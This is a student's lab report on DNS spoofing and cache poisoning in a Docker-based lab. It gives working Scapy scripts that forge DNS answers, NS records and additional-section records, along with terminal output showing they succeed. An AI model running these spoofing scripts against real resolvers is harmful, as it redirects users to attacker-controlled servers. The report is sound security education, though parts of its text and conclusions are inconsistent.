

Local DNS Attack Lab

Github :

https://github.com/AnjanaChandran95/dns_attacks/tree/feat/anjana

Task 1: Directly Spoofing DNS Response to User

#Objective

The goal of this task is to perform a DNS spoofing attack within a local network. The attacker intercepts DNS queries from a user and sends a forged DNS response with a fake IP address before the real response arrives. This simulates how attackers can redirect victims to malicious websites.

#Preparation Steps:

1. Flush the DNS cache on the local DNS server:

```
rndc flush
```

2. Modify `/etc/resolv.conf` in the victim container (`hostA`) to use the local DNS server:

```
nameserver 10.9.0.53
```

Spoofing Script (`dns_spoof.py`)

```
from scapy.all import *

NS_NAME = "www.example.com"

def spoof_dns(pkt):
    print("\n[DEBUG] Packet sniffed")

    if DNS in pkt and pkt.haslayer(DNSQR):
        queried = pkt[DNS].qd.qname.decode().rstrip('.')
        print(f"[DEBUG] DNS Query for: {queried}")

        if queried == NS_NAME:
            print(f"[!] Spoofing DNS for {queried}")
            ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
            udp = UDP(dport=pkt[UDP].sport, sport=53)
            ans = DNSRR(rrname=pkt[DNS].qd.qname, ttl=259200, rdata="1.2.3.4")
            dns = DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                      an=ans, qdcount=1, ancount=1)
```

```
spoofpkt = ip / udp / dns
send(spoofpkt, verbose=0)
print("[+] Spoofed packet sent!")

iface = "br-233f3ca0592c"
print(f"[*] Listening for DNS queries on interface: {iface}")
sniff(filter="udp port 53", iface=iface, prn=spoof_dns)
```

```
[+] Spoofed packet sent!

[DEBUG] Packet sniffed
[DEBUG] DNS Query for: www.example.com
[!] Spoofing DNS for www.example.com
[+] Spoofed packet sent!

[DEBUG] Packet sniffed
[DEBUG] DNS Query for: www.example.com
[!] Spoofing DNS for www.example.com
[+] Spoofed packet sent!

[DEBUG] Packet sniffed
[DEBUG] DNS Query for: www.example.com
[!] Spoofing DNS for www.example.com
[+] Spoofed packet sent!
```

The script listens for DNS queries to `www.example.com` and responds with a forged answer `1.2.3.4`. This script exploits the time gap between a user's query and the legitimate response.

Expected Result

When the victim runs:

```
dig www.example.com
```

The expected output should be:

```
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.4
```

Indicating the spoofed response was accepted before the legitimate one.

Actual Result

```
(kali㉿kali)-[~/Labsetup (4)/Labsetup]
$ docker exec -it hostA-10.9.0.5 /bin/bash
root@e00a923ebd55:/# nano /etc/resolv.conf

Use "fg" to return to nano.

[1]+  Stopped                  nano /etc/resolv.conf
root@e00a923ebd55:/# nano /etc/resolv.conf
root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 57346
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.4

;; Query time: 56 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 21 17:35:50 UTC 2025
;; MSG SIZE rcvd: 64

root@e00a923ebd55:/#
```

On execution, the victim received:

```
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.4

;; SERVER: 10.9.0.53#53(10.9.0.53)
```

-This confirms the spoofed packet was successfully delivered and processed by the victim's resolver.

Observations

- The spoofing initially failed because the victim was using Docker's internal DNS (127.0.0.11).
- After updating the victim's DNS to use 10.9.0.53, the attack worked perfectly.
- The spoofed packet won the race, highlighting the vulnerability in a local unsecured DNS environment.

Conclusion

This task demonstrated a successful DNS spoofing attack in a local network. The attacker redirected DNS queries for `www.example.com` to a fake IP `1.2.3.4`. It illustrates the risks in DNS setups lacking DNSSEC or other validation mechanisms, and the importance of secured and authenticated DNS traffic.

.....

....

Task 2: DNS Cache Poisoning Attack

Objective

The goal of this task is to perform a **DNS cache poisoning attack** on a local DNS server (`10.9.0.53`) within a controlled lab environment. The attacker spoofs a DNS response and sends it to the DNS server before the legitimate one arrives, causing the server to cache the forged information.

Environment

- **User Machine:** `hostA` (10.9.0.5)
- **Attacker:** `seed-attacker` (host mode)
- **DNS Server:** `local-dns-server` (10.9.0.53)
- **Router:** `seed-router`

The lab setup was configured using Docker Compose and shared volumes (`./volumes`) between host and containers.

##Setup Steps

1. Flush DNS Cache Run inside `local-dns-server` container:

```
rndc flush
```

2. Introduce Network Delay Inside `seed-router` container:

```
tc qdisc del dev eth0 root
tc qdisc add dev eth0 root netem delay 150ms
tc qdisc show dev eth0
```

3. Run the Attack Script Inside `seed-attacker` container:

```
cd /volumes
python3 dns_cache_poison.py
```

The spoofing script was modified to send the fake DNS response directly to the `local` DNS server instead of the user.

```
The script listens for DNS queries for `www.example.com` and responds with:  
``plaintext  
1.2.3.4
```

```
(kali㉿kali)-[~/Labsetup (4)/Labsetup/volumes]  
$ docker exec -it seed-attacker /bin/bash  
root@attacker:/# cd /volumes  
root@attacker:/volumes# ls  
dns_cache_poison.py  dns_spoof.py  
root@attacker:/volumes# sudo python3 dns_cache_poison.py  
bash: sudo: command not found  
root@attacker:/volumes# python3 dns_cache_poison.py  
10.9.0.5 --> 10.9.0.53: 48171  
.  
Sent 1 packets.  
10.9.0.5 --> 10.9.0.53: 16687  
.  
Sent 1 packets.  
root@attacker:/volumes# python3 dns_cache_poison.py  
10.9.0.5 --> 10.9.0.53: 24554  
.  
Sent 1 packets.  
^Croot@attacker:/volumes# ls
```

This confirms that your spoofed DNS response was sent to the local DNS server.

4. Trigger the Query from the User

Inside **hostA** container:

```
dig www.example.com
```

5. Verify Cache Status Re-run the dig **after stopping the attacker script**:

```
dig www.example.com
```

```

root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached

root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24554
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.4

;; Query time: 48 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 10:54:07 UTC 2025
;; MSG SIZE rcvd: 64

root@e00a923ebd55:/#

```

Then check cache inside DNS server:

```

rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep example.com

```

```

root@local-dns-server-10-9-0-53:/# rndc flush
root@local-dns-server-10-9-0-53:/# rndc dumpdb -cache
root@local-dns-server-10-9-0-53:/# cat /var/cache/bind/dump.db | grep example.com
_.example.com.                863954  A      1.2.3.4
www.example.com.              863954  A      1.2.3.4

```

This confirms that the DNS server accepted and cached the spoofed entry for `www.example.com`. The DNS server's cache includes the forged A record, proving that the spoofed response was not only accepted but stored.

```

root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached

```

once attacket script

was stopped no valid response was available .

Results

- The attacker successfully intercepted the query and sent a spoofed DNS response.

- The user machine (**hostA**) received the fake IP (**1.2.3.4**) from the local DNS server.
- Repeating the query after stopping the spoof confirmed the value came from cache.
- The DNS dump file did not show the poisoned record, likely due to how BIND handles untrusted replies.

-code- dns_cache_poison.py

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "www.example.com"

def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8'):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # dst is DNS server
        udp = UDP(dport=pkt[UDP].sport, sport=53)

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                        ttl=259200, rdata='1.2.3.4')

        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                  qdcount=1, ancount=1, nscount=0, arcount=0, an=Anssec)

        spoofpkt = ip / udp / dns
        send(spoofpkt)

iface = "br-xxxxxxxxxxxx" # Replace with your actual interface name
f = "udp and dst port 53"
sniff(iface=iface, filter=f, prn=spoof_dns)
```

Task 3: Spoofing NS Records (DNS Cache Poisoning)

Objective

This task demonstrates a more impactful DNS cache poisoning attack where the attacker spoofs a **Name Server (NS)** record for the entire domain (**example.com**). By injecting a forged NS record, all future queries to subdomains under **example.com** (e.g., **mail.example.com**, **ftp.example.com**) will be redirected to the attacker's malicious nameserver (**ns.attacker32.com**).

Environment

- **User Machine:** **hostA** (10.9.0.5)

- **Attacker:** `seed-attacker`
 - **DNS Server:** `local-dns-server` (10.9.0.53)
 - **Router:** `seed-router`
-

Setup Steps

1. Flush DNS Cache

```
rndc flush
```

2. Apply Network Delay on Router

```
tc qdisc del dev eth0 root  
tc qdisc add dev eth0 root netem delay 150ms
```

3. Run the Spoofing Script Inside `seed-attacker` container:

```
cd /volumes  
python3 dns_ns_spoof.py
```

The script listens for DNS queries to `example.com`, and responds with:

- A record: `1.2.3.4`
- NS record: `example.com IN NS ns.attacker32.com`


```
root@attacker:/volumes# python3 dns_ns_spoof.py
[*] Listening for DNS queries on interface: br-233f3ca0592c
[+] Spoofing: 10.9.0.5 --> 10.9.0.53 | DNS ID: 2656
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.5 --> 10.9.0.53 | DNS ID: 49333
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 192.203.230.10 | DNS ID: 53972
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 199.7.83.42 | DNS ID: 33567
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 193.0.14.129 | DNS ID: 21226
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.5 --> 10.9.0.53 | DNS ID: 43242
.
```

4. Trigger DNS Queries from User From `hostA`:

```
dig www.example.com
dig mail.example.com
dig ftp.example.com
```

```
root@e00a923ebd55:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2656
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;mail.example.com.                IN      A

;; ANSWER SECTION:
mail.example.com.                259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.com.                     259200  IN      NS      ns.attacker32.com.

;; Query time: 64 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 17:10:34 UTC 2025
;; MSG SIZE rcvd: 108

root@e00a923ebd55:/# dig ftp.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> ftp.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49333
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;ftp.example.com.                 IN      A

;; ANSWER SECTION:
ftp.example.com.                 259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.com.                     259200  IN      NS      ns.attacker32.com.

;; Query time: 20 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 17:10:41 UTC 2025
;; MSG SIZE rcvd: 106

root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43242
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.                 IN      A

;; ANSWER SECTION:
www.example.com.                 259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.com.                     259200  IN      NS      ns.attacker32.com.

;; Query time: 24 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 17:10:46 UTC 2025
```

Results

Each query to a subdomain of `example.com` returned:

- A fake IP (`1.2.3.4`)
- An NS record pointing to the attacker-controlled nameserver

Example Output:

```
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.4

;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.attacker32.com.
```

This confirms that the NS spoof was successful and cached by the DNS server.

```
$ docker exec -it local-dns-server-10.9.0.53 /bin/bash
root@local-dns-server-10-9-0-53:/# rndc dumpdb -cache
root@local-dns-server-10-9-0-53:/# cat /var/cache/bind/dump.db | grep example.com
example.com.          777560  NS      ns.attacker32.com.
www.example.com.      863960  A       1.2.3.4
```

This confirms that the DNS server stored the attacker's NS record, enabling control over all subdomains of example.com.

Code: dns_ns_spoof.py

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8'):
        print(pkt.sprintf("[+] Spoofing: %IP.src% --> %IP.dst% | DNS ID: %DNS.id%"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.4')
        NSsec = DNSRR(rrname="example.com", type="NS", ttl=259200,
rdata="ns.attacker32.com")

        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
an=Anssec, ns=NSsec)

        spoofpkt = ip / udp / dns
        send(spoofpkt)
        print("[+] Sent spoofed packet.")

iface = "br-xxxxxxxxxxxx" # Replace with actual interface
f = "udp and dst port 53"
print("[*] Listening for DNS queries on interface:", iface)
sniff(iface=iface, filter=f, prn=spoof_dns)

.....
```

```
.....  
.....  
# Task 4: Spoofing NS Records for Another Domain
```

Objective

In this task, we extended the DNS cache poisoning attack from Task 3. Instead of targeting only `example.com`, we modified the spoofed response to also poison the NS record for another unrelated domain: `google.com`. This means any queries to `google.com` will now be resolved through the attacker-controlled nameserver.

Environment

- **User Machine:** `hostA` (10.9.0.5)
- **Attacker:** `seed-attacker`
- **DNS Server:** `local-dns-server` (10.9.0.53)
- **Router:** `seed-router`

Setup Steps

1. Flush the DNS Cache

```
```bash  
rndc flush
```

### 2. Apply Network Delay on Router

```
tc qdisc del dev eth0 root
tc qdisc add dev eth0 root netem delay 150ms
```

### 3. Run the Spoofing Script Inside `seed-attacker` container:

```
cd /volumes
python3 dns_nsdiffdomain_spoof.py
```

```
root@attacker:/volumes# nano dns_nsdiffdomain_spoof.py
root@attacker:/volumes# python3 dns_nsdiffdomain_spoof.py
[*] Listening for DNS queries on interface: br-233f3ca0592c
[+] Spoofing: 10.9.0.5 --> 10.9.0.53 | DNS ID: 12492
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 199.9.14.201 | DNS ID: 14462
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 198.41.0.4 | DNS ID: 17082
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 193.0.14.129 | DNS ID: 39201
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 202.12.27.33 | DNS ID: 30969
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 199.7.83.42 | DNS ID: 33896
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 198.97.190.53 | DNS ID: 49367
.
Sent 1 packets.
[+] Sent spoofed packet.
[+] Spoofing: 10.9.0.53 --> 192.58.128.30 | DNS ID: 63682
```

The script spoofs responses to queries for [www.example.com](http://www.example.com) and injects forged NS records for:

- [example.com](http://example.com)
- [google.com](http://google.com)

#### 4. Trigger DNS Queries from User

```
dig www.example.com
dig www.google.com
```

```
root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12492
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com. IN A

;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.4

;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.attacker32.com.
google.com. 259200 IN NS ns.attacker32.com.

;; Query time: 44 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 17:29:53 UTC 2025
;; MSG SIZE rcvd: 147

root@e00a923ebd55:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; connection timed out; no servers could be reached

root@e00a923ebd55:/# |
```

## Results

Output from `dig www.example.com`:

```
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.4

;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.attacker32.com.
google.com. 259200 IN NS ns.attacker32.com.
```

Output from `dig www.google.com`:

```
;; connection timed out; no servers could be reached
```

This is expected i believe because the DNS server now tries to resolve `google.com` via the fake `ns.attacker32.com`, which doesn't actually respond.

```
$ docker exec -it local-dns-server-10.9.0.53 /bin/bash
root@local-dns-server-10-9-0-53:/# rndc dumpdb -cache
root@local-dns-server-10-9-0-53:/# cat /var/cache/bind/dump.db | grep google.com
```

The DNS cache was checked to verify if `google.com` was stored. The spoofed NS for `google.com` was not cached, confirming that the DNS server rejected unrelated authority records.

code: dns\_nsdiffdomain\_spoof.py

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
 if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8'):
 print(pkt.sprintf("[+] Spoofing: %IP.src% --> %IP.dst% | DNS ID: %DNS.id%"))

 ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
 udp = UDP(dport=pkt[UDP].sport, sport=53)

 Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.4')
 NSsec1 = DNSRR(rrname="example.com", type="NS", ttl=259200,
rdata="ns.attacker32.com")
 NSsec2 = DNSRR(rrname="google.com", type="NS", ttl=259200,
rdata="ns.attacker32.com")

 dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=0,
an=Anssec, ns=NSsec1 / NSsec2)

 spoofpkt = ip / udp / dns
 send(spoofpkt)
 print("[+] Sent spoofed packet.")

iface = "br-xxxxxxxxxxxxx"
f = "udp and dst port 53"
print("[*] Listening for DNS queries on interface:", iface)
sniff(iface=iface, filter=f, prn=spoof_dns)
```

```
.....
.....
.....
Task 5: Spoofing Records in the Additional Section
```

## Objective

In this task, we attempted to poison the DNS cache by spoofing records in the **Additional Section** of a DNS response. This section is commonly used to provide A records for names that appear in the **Authority Section**, potentially helping the resolver avoid separate lookups.

---

## Environment

- **User Machine:** `hostA` (10.9.0.5)
- **Attacker:** `seed-attacker`

- **DNS Server:** `local-dns-server` (10.9.0.53)
- **Router:** `seed-router`

#### Spoofed DNS Response Details

Authority Section:

example.com. IN NS ns.attacker32.com. example.com. IN NS ns.example.com.

Additional Section:

ns.attacker32.com. IN A 1.2.3.4 ns.example.net. IN A 5.6.7.8 www.facebook.com. IN A 3.4.5.6

Trigger:

A DNS query for `www.example.com` from `hostA` initiates the spoof.

---

![alt text](image-10.png)

#### Observed Results

- The spoofed packet was accepted, and all three additional A records were shown in the `dig` output from `hostA`.
- However, **none of the A records in the Additional Section were cached** on the local DNS server.

```
```bash
cat /var/cache/bind/dump.db | grep attacker32
cat /var/cache/bind/dump.db | grep example
cat /var/cache/bind/dump.db | grep facebook
```



```

root@e00a923ebd55:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61438
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.
example.com.                    259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.              259200  IN      A      1.2.3.4
ns.example.net.                 259200  IN      A      5.6.7.8
www.facebook.com.              259200  IN      A      3.4.5.6

;; Query time: 80 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 22 18:06:08 UTC 2025
;; MSG SIZE rcvd: 240

root@e00a923ebd55:/# |

```

Output:

BIND DNS server does **not trust or cache** A records in the Additional Section unless:

- They are associated with trusted NS entries.
- The server queries them directly.

This behavior is a security feature to **prevent cache poisoning attacks** from exploiting loosely-related additional records.

dns_additional_spoof.py

```

#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8'):
        print(pkt.sprintf("[+] Spoofing: %IP.src% --> %IP.dst% | DNS ID: %DNS.id%"))

        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A", ttl=259200,

```

```
rdata="1.2.3.4")

    NSsec1 = DNSRR(rrname="example.com", type="NS", ttl=259200,
rdata="ns.attacker32.com")
    NSsec2 = DNSRR(rrname="example.com", type="NS", ttl=259200,
rdata="ns.example.com")

    Addsec1 = DNSRR(rrname="ns.attacker32.com", type="A", ttl=259200,
rdata="1.2.3.4")
    Addsec2 = DNSRR(rrname="ns.example.net", type="A", ttl=259200,
rdata="5.6.7.8")
    Addsec3 = DNSRR(rrname="www.facebook.com", type="A", ttl=259200,
rdata="3.4.5.6")

    dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
              qdcount=1, ancount=1, nscount=2, arcount=3,
              an=Anssec, ns=NSsec1 / NSsec2, ar=Addsec1 / Addsec2 / Addsec3)

    spoofpkt = ip / udp / dns
    send(spoofpkt)
    print("[+] Sent spoofed packet with Additional Section.")

iface = "br-233f3ca0592c"
f = "udp and dst port 53"
print("[*] Listening for DNS queries on interface:", iface)
sniff(iface=iface, filter=f, prn=spoof_dns)
```

Github repo link

.....
.....
.....